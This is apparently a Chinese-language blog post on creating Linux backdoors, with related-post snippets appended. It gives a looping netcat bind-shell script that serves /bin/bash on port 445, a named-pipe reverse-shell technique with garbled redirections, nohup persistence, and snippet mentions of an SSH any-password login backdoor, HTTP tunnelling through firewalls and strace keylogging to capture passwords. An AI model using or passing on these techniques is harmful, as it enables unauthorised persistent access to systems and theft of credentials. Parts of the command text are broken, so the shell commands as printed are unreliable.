Linux下後門初探(一)

2021-07-12 03:35:20 字數 902 閱讀 8648

在linux下建立後門方式一

預設情況下 gnu netcat 不支援持續性監聽操作。每一次accept並執行完命令之後,netcat就會斷開連線。如果需要讓 netcat 保持持續性監聽狀態,就必須使用迴圈語句不斷的開啟新的監聽模式。

listener.sh 監聽指令碼

#!/bin/bash

while [ 1 ]; do

echo -n | netcat -l -v -p 445

-e /bin/bash

done

在linux的大部分發行版中都預設編譯了nc,

但也許是出於安全考慮,發行版中預設編譯的nc往往沒有-e選項

(沒有define乙個gaping_security_hole常量),

也就是說我們不能通過-e選項繫結目標的shell,使得我們在利用上受到限制,但這種情況下是不是就沒辦法利用了呢?天無絕人之路,來看下面的tip。

在attack這邊依然用nc -lnvp listenport監聽某埠,在目標環境中依次執行以下命令:

root@bt

:~#mknod /tmp/backpipe p

root@bt

:~#/bin/sh 0/tmp/backpipe

網上查了下mknod命令,說是只能root使用者才有許可權執行,可是經過測試普通許可權的使用者也可以建立管道等特殊檔案,如果沒有許可權使用mkfifo /tmp/backpipe也可以建立乙個管道。

建立持續性的netcat後門

保持程式後台執行的正確方法

nohup 命令 &
eg:

後台執行監聽指令碼: nohup ./listener.sh &

Linux下的後門和日誌工具

1 從這裡延伸 後門和連線工具 tunnel的意思是隧道,通常httptunnel被稱之為http暗道,它的原理就是將資料偽裝成http的資料形式來穿過防火牆,實際上,它是在http請求中建立了乙個雙向的虛擬資料連線來穿透防火牆。說得簡單點,就是說在防火牆兩邊都設立乙個轉換程式,將原來需要傳送或接受...

linux後門收集

gmail註冊可用,root許可權 安全脈搏 後門利用方法 後門檢測及其清除方法 linux常見backdoor及排查技術 建立軟鏈結,使用任意密碼ssh登入 另一種拿到root許可權的時候想遠端訪問的方法 一些後門的分類及示例原始碼 烏雲medium上的 linux的rootkit的簡介及及其檢測...

linux後門之strace後門鍵盤記錄

strace是乙個動態跟蹤工具,它可以跟蹤系統呼叫的執行。我們可以把他當成乙個鍵盤記錄的後門,來擴大我們的資訊收集範圍 通過其他方式拿到shell,通過history 流量抓包 或者本地沒有翻到密碼的情況。我們想要獲取當前主機的密碼,或者通過這台主機連線到其他主機的密碼。執行如下命令 strace ...